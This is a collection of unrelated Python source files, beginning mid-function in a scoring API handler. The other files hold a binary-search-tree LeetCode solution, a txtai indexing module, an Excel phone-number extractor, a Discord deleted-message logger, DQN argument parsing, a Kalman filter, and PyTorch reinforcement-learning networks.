                first_name=method_args.first_name,
                last_name=method_args.last_name,
            )
        response = {"score": score}

    elif parsed_request.method == "clients_interests":
        method_args = t.cast(ClientsInterestsRequest, method_args)
        ctx["nclients"] = len(method_args.client_ids)
        if not ctx["nclients"]:
            code = INVALID_REQUEST
            response = "clients_ids list cannot be empty"
        else:
            try:
                response = {
                    str(cid): get_interests(store, str(cid))
                    for cid in method_args.client_ids
                }
            except ScoringError as e:
                code = INTERNAL_ERROR
                response = str(e)
    else:
        code = INVALID_REQUEST
        response = f"Method '{parsed_request.method}' unsupported"

    return response, code


from typing import List

# Definition for a binary tree node.

class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

    def __repr__(self):
        return str(self.val)

class Solution:
    def generateTrees(self, n: int) -> List[TreeNode]:
        def buildTree(root, left_list, right_list):
            ans = []
            # print(root, left_list, right_list)
            left = []
            for i in range(len(left_list)):
                left.extend(
                    buildTree(left_list[i], left_list[:i], left_list[i+1:]))
            right = []
            for j in range(len(right_list)):
                right.extend(buildTree(
                    right_list[j], right_list[:j], right_list[j+1:]))
            if not left:
                left = [None]
            if not right:
                right = [None]
            for l in left:
                for r in right:
                    tmp = TreeNode(root)
                    tmp.left = l
                    tmp.right = r
                    ans.append(tmp)
            return ans
        ans = []
        for i in range(1, n + 1):
            ans.extend(buildTree(i, list(range(1, i)), list(range(i+1, n+1))))
        return ans
        # 思路正确，代码还可以写简单点，看下次碰见能写成什么样吧

if __name__ == "__main__":
    s = Solution()
    print(s.generateTrees(3))


"""
Indexing module
"""

import os.path
import sqlite3

from txtai.embeddings import Embeddings

from .models import Models
from .tokenizer import Tokenizer

class Index(object):
    """
    Methods to build a new sentence embeddings index.
    """

    @staticmethod
    def stream(dbfile):
        """
        Streams questions from a questions.db file. This method is a generator and will yield a row at time.

        Args:
            dbfile: input SQLite file
        """

        # Connection to database file
        db = sqlite3.connect(dbfile)
        cur = db.cursor()

        cur.execute("SELECT Id, Question, Source, Tags FROM questions")

        count = 0
        for question in cur:
            # Tokenize question, source and tags
            tokens = Tokenizer.tokenize(question[1] + " " + question[2] + " " + question[3])

            document = (question[0], tokens, question[3])

            count += 1
            if count % 1000 == 0:
                print("Streamed %d documents" % (count), end="\r")

            # Skip documents with no tokens parsed
            if tokens:
                yield document

        print("Iterated over %d total rows" % (count))

        # Free database resources
        db.close()

    @staticmethod
    def embeddings(dbfile):
        """
        Builds a sentence embeddings index.

        Args:
            dbfile: input SQLite file

        Returns:
            embeddings index
        """

        embeddings = Embeddings({"path": Models.vectorPath("stackexchange-300d.magnitude"),
                                 "storevectors": True,
                                 "scoring": "bm25",
                                 "pca": 3,
                                 "quantize": True})

        # Build scoring index if scoring method provided
        if embeddings.config.get("scoring"):
            embeddings.score(Index.stream(dbfile))

        # Build embeddings index
        embeddings.index(Index.stream(dbfile))

        return embeddings

    @staticmethod
    def run():
        """
        Executes an index run.
        """

        path = Models.modelPath("stackexchange")
        dbfile = os.path.join(path, "questions.db")

        print("Building new model")
        embeddings = Index.embeddings(dbfile)
        embeddings.save(path)

if __name__ == "__main__":
    Index.run()


import datetime
import re
from typing import List
import pandas as pd

def convert_time(x, time_format: str = "%Y-%m-%d %H:%M:%S"):
    try:
        if isinstance(x, datetime.datetime):
            return x
        elif isinstance(x, str):
            return datetime.datetime.strptime(x, time_format)
        elif isinstance(x, int):
            return datetime.datetime.fromtimestamp(x, time_format)
    except:  # pylint: disable=bare-except
        return x

def is_phone(x) -> bool:
    """judge x is phone
    phone refer to 11 digit mobile phone.

    Args:
        x (str): input

    Returns:
        bool: output
    """
    if x.startswith("1") and len(x) == 11 and x.isdigit():
        return True
    return False

def is_qq(x) -> bool:
    """
    check is x is qq
    qq is a set of number between 5-10, starts from 10000.
    Args:
        x (str):

    Returns:
        bool: qq or not
    """
    if len(x) >= 5 and len(x) <= 10 and x >= "10000" and x.isdigit():
        return True
    return False

def is_wx() -> bool:
    pass

def simple_tie(series: pd.Series) -> List:
    series = series[~pd.isna(series)]
    series = series.apply(lambda x: str(x).replace("_x000D_", "").replace(
        "\r", "").replace("\n", ""))
    series = series.apply(lambda x: re.split(r"[，、|]", str(x)))
    series = series[series.apply(lambda x: isinstance(x, list))]
    result_tie = series.tolist()
    result_list = [
        item.strip() for inner in result_tie for item in inner
        if len(item) == 11 and re.match(r"^1[3-9]\d{9}$", item)
    ]
    return result_list

def read_data_from_excel(file_path: str, sheet_name: str) -> tuple:
    """
    Args:
        file_path:xlsx fp
        sheet_name:str,can not be empty
    """
    df = pd.read_excel(file_path, sheet_name=sheet_name, engine="openpyxl")
    date_key = "日期"
    df[date_key] = df[date_key].apply(convert_time)
    df = df[df[date_key].apply(lambda x: isinstance(x, datetime.datetime))]
    base_date = datetime.datetime(year=2021, month=11, day=1)
    mask = df[date_key].apply(lambda x: x >= base_date)
    df = df[mask]

    phone_key = "手机号"
    phone_list = simple_tie(df[phone_key])
    # print(phone_list[:10])

    qq_or_wx_key = "用户账号（填写QQ/微信账号）"
    qq_or_wx_list = simple_tie(df[qq_or_wx_key])
    # print(qq_or_wx_list[:10])
    return (phone_list, qq_or_wx_list)

if __name__ == "__main__":
    # test_openid()
    # test_read_excel()
    # crytor=PrpCrypt()
    pass


import discord
import datetime

client = discord.Client()

@client.event
async def on_message_delete(message):
    y = datetime.datetime.now().year
    m = datetime.datetime.now().month
    d = datetime.datetime.now().day
    h = datetime.datetime.now().hour
    min = datetime.datetime.now().minute
    bot_logs = 'insert channel id'
    embed = discord.Embed(title='메시지 삭제', colour=discord.Colour.orange())
    embed.add_field(name='유저', value=f'<@{message.author.id}>({message.author})')
    embed.add_field(name='채널', value=f'<#{message.channel.id}>')
    embed.add_field(name='내용', value=message.content, inline=False)
    embed.add_field(name='날짜', value=f"{y}-{m}-{d} {h}:{min}", inline=False)
    await client.get_channel(int(bot_logs)).send(embed=embed)

@client.event
async def on_ready():
    game = discord.Game('bot')
    await client.change_presence(status=discord.Status.online, activity=game)

client.run('insert bot token')


from .dqn import DQNRecurrent, DQNFeedforward
from ..utils import bool_flag

models = {
    'dqn_ff': DQNFeedforward,
    'dqn_rnn': DQNRecurrent
}

def get_model_class(model_type):
    cls = models.get(model_type)
    if cls is None:
        raise RuntimeError(("unknown model type: '%s'. supported values "
                            "are: %s") % (model_type, ', '.join(models.keys())))
    return cls

def register_model_args(parser, args):
    """
    Parse model parameters.
    """
    # network type
    parser.add_argument("--network_type", type=str, default='dqn_ff',
                        help="Network type (dqn_ff / dqn_rnn)")
    parser.add_argument("--use_bn", type=bool_flag, default=False,
                        help="Use batch normalization in CNN network")

    # model parameters
    params, _ = parser.parse_known_args(args)
    network_class = get_model_class(params.network_type)
    network_class.register_args(parser)
    network_class.validate_params(parser.parse_known_args(args)[0])

    # parameters common to all models
    parser.add_argument("--clip_delta", type=float, default=1.0,
                        help="Clip delta")
    parser.add_argument("--variable_dim", type=str, default='32',
                        help="Game variables embeddings dimension")
    parser.add_argument("--bucket_size", type=str, default='1',
                        help="Bucket size for game variables")
    parser.add_argument("--hidden_dim", type=int, default=512,
                        help="Hidden layer dimension")
    parser.add_argument("--update_frequency", type=int, default=4,
                        help="Update frequency (1 for every time)")
    parser.add_argument("--dropout", type=float, default=0.,
                        help="Dropout")
    parser.add_argument("--optimizer", type=str, default="rmsprop,lr=0.0002",
                        help="Optimizer (SGD / RMSprop / Adam, etc.)")

    # check common parameters
    params, _ = parser.parse_known_args(args)
    assert params.clip_delta >= 0
    assert params.update_frequency >= 1
    assert 0 <= params.dropout < 1


import numpy as np

class KalmanFilter(object):
    def __init__(self, F = None, B = None, H = None, Q = None, R = None, P = None, x0 = None):

        if(F is None or H is None):
            raise ValueError("Set proper system dynamics.")

        self.n = F.shape[1]
        self.m = H.shape[1]
        #State-transition model
        self.F = F
        #Observation model
        self.H = H
        #Control-input model which is applied to the control vector u
        self.B = 0 if B is None else B
        #Covariance of the process noise
        self.Q = np.eye(self.n) if Q is None else Q
        #Covariance of the observation noise
        self.R = np.eye(self.n) if R is None else R
        #Predicted error convariance
        self.P = np.eye(self.n) if P is None else P
        #State predicted
        self.x = np.zeros((self.n, 1)) if x0 is None else x0

    def predict(self, u = 0):
        #Predicted (a priori) state estimate x(heat)=F*x(heat)+B*u
        self.x = np.dot(self.F, self.x) + np.dot(self.B, u)
        #Predicted (a priori) error covariance P= FxPxF(trasposed)+Q
        self.P = np.dot(np.dot(self.F, self.P), self.F.T) + self.Q
        return self.x

    def update(self, z):
        #y = z - Hx
        y = z - np.dot(self.H, self.x)
        #S = R + H*P*H(traposed)
        S = self.R + np.dot(self.H, np.dot(self.P, self.H.T))
        #K = P*H(transposed) * S^-1
        K = np.dot(np.dot(self.P, self.H.T), np.linalg.inv(S))
        self.x = self.x + np.dot(K, y)
        I = np.eye(self.n)
        #P = ((I-K*H)*P)*(I-K*H)(transposed) + K*R*K(transposed)
        self.P = np.dot(np.dot(I - np.dot(K, self.H), self.P),
        	(I - np.dot(K, self.H)).T) + np.dot(np.dot(K, self.R), K.T)

    def predicted_state(self, u=0):
        return np.dot(self.H, self.predict(u))

def example():
    dt = 1.0/60
    F = np.array([[1, dt, 0], [0, 1, dt], [0, 0, 1]])
    H = np.array([1, 0, 0]).reshape(1, 3)
    Q = np.array([[0.05, 0.05, 0.0], [0.05, 0.05, 0.0], [0.0, 0.0, 0.0]])
    R = np.array([0.5]).reshape(1, 1)

    x = np.linspace(-10, 10, 100)
    measurements = - (x**2 + 2*x - 2)  + np.random.normal(0, 2, 100)

    kf = KalmanFilter(F = F, H = H, Q = Q, R = R)
    predictions = []

    for z in measurements:
        predictions.append(kf.predicted_state()[0])
        kf.update(z)

    import matplotlib.pyplot as plt
    plt.plot(range(len(measurements)), measurements, label = 'Measurements')
    plt.plot(range(len(predictions)), np.array(predictions), label = 'Kalman Filter Prediction')
    plt.legend()
    plt.show()

if __name__ == '__main__':
    example()


#!/usr/bin/env python
# coding=utf-8
'''
Author: John
Email: johnjim0816@gmail.com
Date: 2021-03-12 21:14:12
LastEditor: John
LastEditTime: 2021-03-31 13:49:06
Discription:
Environment:
'''
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.distributions import Categorical
import math

class MLP(nn.Module):
    def __init__(self, input_dim,output_dim,hidden_dim=128):
        """ 初始化q网络，为全连接网络
            input_dim: 输入的feature即环境的state数目
            output_dim: 输出的action总个数
        """
        super(MLP, self).__init__()
        self.fc1 = nn.Linear(input_dim, hidden_dim) # 输入层
        self.fc2 = nn.Linear(hidden_dim,hidden_dim) # 隐藏层
        self.fc3 = nn.Linear(hidden_dim, output_dim) # 输出层

    def forward(self, x):
        # 各层对应的激活函数
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        return self.fc3(x)

class NoisyLinear(nn.Module):
    def __init__(self, in_features, out_features, std_init=0.4):
        super(NoisyLinear, self).__init__()

        self.in_features = in_features
        self.out_features = out_features
        self.std_init = std_init

        self.weight_mu = nn.Parameter(torch.FloatTensor(out_features, in_features))
        self.weight_sigma = nn.Parameter(torch.FloatTensor(out_features, in_features))
        self.register_buffer('weight_epsilon', torch.FloatTensor(out_features, in_features))

        self.bias_mu = nn.Parameter(torch.FloatTensor(out_features))
        self.bias_sigma = nn.Parameter(torch.FloatTensor(out_features))
        self.register_buffer('bias_epsilon', torch.FloatTensor(out_features))

        self.reset_parameters()
        self.reset_noise()

    def forward(self, x):
        if self.training:
            weight = self.weight_mu + self.weight_sigma.mul(self.weight_epsilon)
            bias = self.bias_mu + self.bias_sigma.mul(self.bias_epsilon)
        else:
            weight = self.weight_mu
            bias = self.bias_mu

        return F.linear(x, weight, bias)

    def reset_parameters(self):
        mu_range = 1 / math.sqrt(self.weight_mu.size(1))

        self.weight_mu.data.uniform_(-mu_range, mu_range)
        self.weight_sigma.data.fill_(self.std_init / math.sqrt(self.weight_sigma.size(1)))

        self.bias_mu.data.uniform_(-mu_range, mu_range)
        self.bias_sigma.data.fill_(self.std_init / math.sqrt(self.bias_sigma.size(0)))

    def reset_noise(self):
        epsilon_in = self._scale_noise(self.in_features)
        epsilon_out = self._scale_noise(self.out_features)

        self.weight_epsilon.copy_(epsilon_out.ger(epsilon_in))
        self.bias_epsilon.copy_(self._scale_noise(self.out_features))

    def _scale_noise(self, size):
        x = torch.randn(size)
        x = x.sign().mul(x.abs().sqrt())
        return x

class NoisyDQN(nn.Module):
    def __init__(self, num_inputs, num_actions):
        super(NoisyDQN, self).__init__()

        self.linear = nn.Linear(num_inputs, 256)
        self.noisy1 = NoisyLinear(256, 256)
        self.noisy2 = NoisyLinear(256, num_actions)

    def forward(self, x):
        x = F.relu(self.linear(x))
        x = F.relu(self.noisy1(x))
        x = self.noisy2(x)
        return x

    def act(self, state):
        with torch.no_grad():
            state = torch.tensor([state], device="cpu", dtype=torch.float32)
            q_value = self.forward(state)
            action = q_value.max(1)[1].item()
        return action

    def reset_noise(self):
        self.noisy1.reset_noise()
        self.noisy2.reset_noise()

# class ActorCritic(nn.Module):
#     def __init__(self, input_dim, output_dim, hidden_dim):
#         super(ActorCritic, self).__init__()
#         self.critic = nn.Sequential(
#             nn.Linear(input_dim, hidden_dim),
#             nn.ReLU(),
#             nn.Linear(hidden_dim, 1)
#         )
#
#         self.actor = nn.Sequential(
#             nn.Linear(input_dim, hidden_dim),
#             nn.ReLU(),
#             nn.Linear(hidden_dim, output_dim),
#             # 使得在softmax操作之后在dim这个维度相加等于1
#             # 注意，默认的方法已经弃用，最好在使用的时候声明dim
#             nn.Softmax()
#         )
#
#     def forward(self, x):
#         # critic: evaluates value in the state s_t
#         value = self.critic(x)
#         # actor: choses action to take from state s_t
#         # by returning probability of each action
#         probs = self.actor(x)
#
#         # 分类,对actor输出的动作概率进行分类统计
#         # create a categorical distribution over the list of probabilities of actions
#         dist  = Categorical(probs)
#
#         # return values for both actor and critic as a tuple of 2 values:
#         # 1(action prob). a list with the probability of each action over the action space
#         # 2(state value). the value from state s_t
#         return dist, value

class actor(nn.Module):  # policy net
    # actor: choses action to take from state s_t
    # by returning probability of each action
    def __init__(self, input_dim, output_dim, hidden_dim):
        super(actor, self).__init__()
        self.fc1 = nn.Linear(input_dim, hidden_dim)
        self.fc2 = nn.Linear(hidden_dim, output_dim)
        self.softmax = nn.Softmax(dim=0)

    def forward(self, x):
        x = self.fc1(x)
        x = F.relu(x)
        x = self.fc2(x)
        prob = self.softmax(x)
        # 分类,对actor输出的动作概率进行分类统计
        # create a categorical distribution over the list of probabilities of actions
        dist = Categorical(prob)
        return dist

class critic(nn.Module):  # Q net:evaluates value in the state s_t
    def __init__(self, input_dim, output_dim, hidden_dim):
        super(critic, self).__init__()
        self.fc1 = nn.Linear(input_dim, hidden_dim)
        self.fc2 = nn.Linear(hidden_dim, output_dim)

    def forward(self, x):
        x = self.fc1(x)
        x = F.relu(x)
        x = self.fc2(x)
        return x

class baseline_net(nn.Module):
    def __init__(self, input_dim, output_dim, hidden_dim):
        super(baseline_net,self).__init__()
        self.fc1=nn.Linear(input_dim, hidden_dim)
        self.fc2=nn.Linear(hidden_dim, output_dim)
    def forward(self,x):
        x=self.fc1(x)
        x=F.relu(x)
        out=self.fc2(x)
        return out